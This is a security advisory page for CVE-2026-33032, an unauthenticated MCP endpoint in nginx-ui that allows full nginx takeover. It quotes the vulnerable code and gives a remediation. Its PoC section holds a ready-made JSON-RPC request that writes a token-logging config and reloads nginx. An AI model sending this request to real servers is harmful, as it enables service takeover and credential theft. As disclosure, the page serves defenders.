CVE-2026-33032: nginx-ui's Unauthenticated MCP Endpoint Allows Remote Nginx Takeover
Summary The nginx-ui MCP (Model Context Protocol) integration exposes two HTTP endpoints: /mcp and /mcpmessage. While /mcp requires both IP whitelisting and authentication (AuthRequired() middleware), the /mcpmessage endpoint only applies IP whitelisting - and the default IP whitelist is empty, which the middleware treats as "allow all".
Published Mar 30, 2026 · Updated Apr 27, 2026
Affected packages
github.com/0xJacky/Nginx-UI
- Ecosystem
- Go
- Affected
- <= 1.99
- Fixed in
- No patched version yet
- Check
go list -m github.com/0xJacky/Nginx-UI
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
The nginx-ui MCP (Model Context Protocol) integration exposes two HTTP endpoints: /mcp and /mcp_message. While /mcp requires both IP whitelisting and authentication (AuthRequired() middleware), the /mcp_message endpoint only applies IP whitelisting - and the default IP whitelist is empty, which the middleware treats as "allow all". This means any network attacker can invoke all MCP tools without authentication, including restarting nginx, creating/modifying/deleting nginx configuration files, and triggering automatic config reloads - achieving complete nginx service takeover.
Details
Vulnerable Code
`mcp/router.go:9-17` - Auth asymmetry between endpoints
func InitRouter(r *gin.Engine) {
r.Any("/mcp", middleware.IPWhiteList(), middleware.AuthRequired(),
func(c *gin.Context) {
mcp.ServeHTTP(c)
})
r.Any("/mcp_message", middleware.IPWhiteList(),
func(c *gin.Context) {
mcp.ServeHTTP(c)
})
}The /mcp endpoint has middleware.AuthRequired(), but /mcp_message does not. Both endpoints route to the same mcp.ServeHTTP() handler, which processes all MCP tool invocations.
`internal/middleware/ip_whitelist.go:11-26` - Empty whitelist allows all
func IPWhiteList() gin.HandlerFunc {
return func(c *gin.Context) {
clientIP := c.ClientIP()
if len(settings.AuthSettings.IPWhiteList) == 0 || clientIP == "" || clientIP == "127.0.0.1" || clientIP == "::1" {
c.Next()
return
}
// ...
}
}When IPWhiteList is empty (the default - settings/auth.go initializes Auth{} with no whitelist), the middleware allows all requests through. This is a fail-open design.
Available MCP Tools (all invocable without auth)
From mcp/nginx/:
restart_nginx- restart the nginx processreload_nginx- reload nginx configurationnginx_status- read nginx status
From mcp/config/:
nginx_config_add- create new nginx config filesnginx_config_modify- modify existing config filesnginx_config_list- list all configurationsnginx_config_get- read config file contentsnginx_config_enable- enable/disable sitesnginx_config_rename- rename config filesnginx_config_mkdir- create directoriesnginx_config_history- view config historynginx_config_base_path- get nginx config directory path
Attack Scenario
- Attacker sends HTTP requests to
http://target:9000/mcp_message(default port) - No authentication is required - IP whitelist is empty by default
- Attacker invokes
nginx_config_modifywithrelative_path="nginx.conf"to rewrite the main nginx configuration (e.g., inject a reverse proxy that logsAuthorizationheaders) nginx_config_addauto-reloads nginx (config_add.go:74), or attacker callsreload_nginxdirectly- All traffic through nginx is now under attacker control - requests intercepted, redirected, or denied
PoC
1. The auth asymmetry is visible by comparing the two route registrations in mcp/router.go:
// Line 10 - /mcp requires auth:
r.Any("/mcp", middleware.IPWhiteList(), middleware.AuthRequired(), func(c *gin.Context) { mcp.ServeHTTP(c) })
// Line 14 - /mcp_message does NOT:
r.Any("/mcp_message", middleware.IPWhiteList(), func(c *gin.Context) { mcp.ServeHTTP(c) })Both call the same mcp.ServeHTTP(c) handler, which dispatches all tool invocations.
2. The IP whitelist defaults to empty, allowing all IPs. From settings/auth.go:
var AuthSettings = &Auth{
BanThresholdMinutes: 10,
MaxAttempts: 10,
// IPWhiteList is not initialized - defaults to nil/empty slice
}And the middleware at internal/middleware/ip_whitelist.go:14 passes all requests when the list is empty:
if len(settings.AuthSettings.IPWhiteList) == 0 || clientIP == "" || clientIP == "127.0.0.1" || clientIP == "::1" {
c.Next()
return
}3. Config writes auto-reload nginx. From mcp/config/config_add.go:
err := os.WriteFile(path, []byte(content), 0644) // Line 69: write config file
// ...
res := nginx.Control(nginx.Reload) // Line 74: immediate reload4. Exploit request. An attacker with network access to port 9000 can invoke any MCP tool via the SSE message endpoint. For example, to create a malicious nginx config that logs authorization headers:
POST /mcp_message HTTP/1.1
Content-Type: application/json
{
"jsonrpc": "2.0",
"method": "tools/call",
"params": {
"name": "nginx_config_add",
"arguments": {
"name": "evil.conf",
"content": "server { listen 8443; location / { proxy_pass http://127.0.0.1:9000; access_log /etc/nginx/conf.d/tokens.log; } }",
"base_dir": "conf.d",
"overwrite": true,
"sync_node_ids": []
}
},
"id": 1
}No Authorization header is needed. The config is written and nginx reloads immediately.
Impact
- Complete nginx service takeover: An unauthenticated attacker can create, modify, and delete any nginx configuration file within the config directory, then trigger immediate reload/restart
- Traffic interception: Attacker can rewrite server blocks to proxy all traffic through an attacker-controlled endpoint, capturing credentials, session tokens, and sensitive data in transit
- Service disruption: Writing an invalid config and triggering reload takes nginx offline, affecting all proxied services
- Configuration exfiltration: All existing nginx configs are readable via
nginx_config_get, revealing backend topology, upstream servers, TLS certificate paths, and authentication headers - Credential harvesting: By injecting
access_logdirectives with customlog_formatpatterns, the attacker can captureAuthorizationheaders from administrators accessing nginx-ui, enabling escalation to the REST API
Remediation
Add middleware.AuthRequired() to the /mcp_message route:
r.Any("/mcp_message", middleware.IPWhiteList(), middleware.AuthRequired(),
func(c *gin.Context) {
mcp.ServeHTTP(c)
})Additionally, consider changing the IP whitelist default behavior to deny-all when unconfigured, rather than allow-all.
Credited to yotampe-pluto.
References
- https://github.com/0xJacky/nginx-ui/security/advisories/GHSA-h6c2-x2m2-mwhf
- https://github.com/0xJacky/nginx-ui/blob/f89f8ff8223478988f7ed49bf1d3dbf2de44bf92/internal/middleware/ip_whitelist.go#L11-L26
- https://github.com/0xJacky/nginx-ui/blob/f89f8ff8223478988f7ed49bf1d3dbf2de44bf92/mcp/router.go#L9-L17
- https://nvd.nist.gov/vuln/detail/CVE-2026-33032
- https://websec.net/blog/cve-2026-33032-unauthenticated-nginx-ui-mcp-takeover-69e1200f9fceb1f3fbe9c47f
- https://github.com/advisories/GHSA-h6c2-x2m2-mwhf
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
More Other MCP servers and tools vulnerabilities
All Other MCP servers and tools entriesCVE-2026-77361
obsidian-tc : Symlink read-ACL scope bypass via lexical path checks
medium4.7Oct 23, 2026CVE-2026-114126
Storybook dev server vulnerable to code injection from the local network
high8.7Oct 22, 2026CVE-2026-113731
djust: Arbitrary absolute-path file read in the find_handlers_for_template MCP tool
low3.3Oct 21, 2026CVE-2026-114125
Storybook: Missing origin validation in Storybook preview allows code injection from malicious websites
critical9.4Oct 21, 2026CVE-2026-111770
MCP TypeScript server SDK: Shared transport or server instances delivered one HTTP client's messages to another
high7.7Oct 20, 2026GHSA-953h-535j-jg2v
agent-router: MCP session resume does not verify the embedded anti-hijacking subject; default Helm seed makes session IDs forgeable
medium6.8Oct 19, 2026
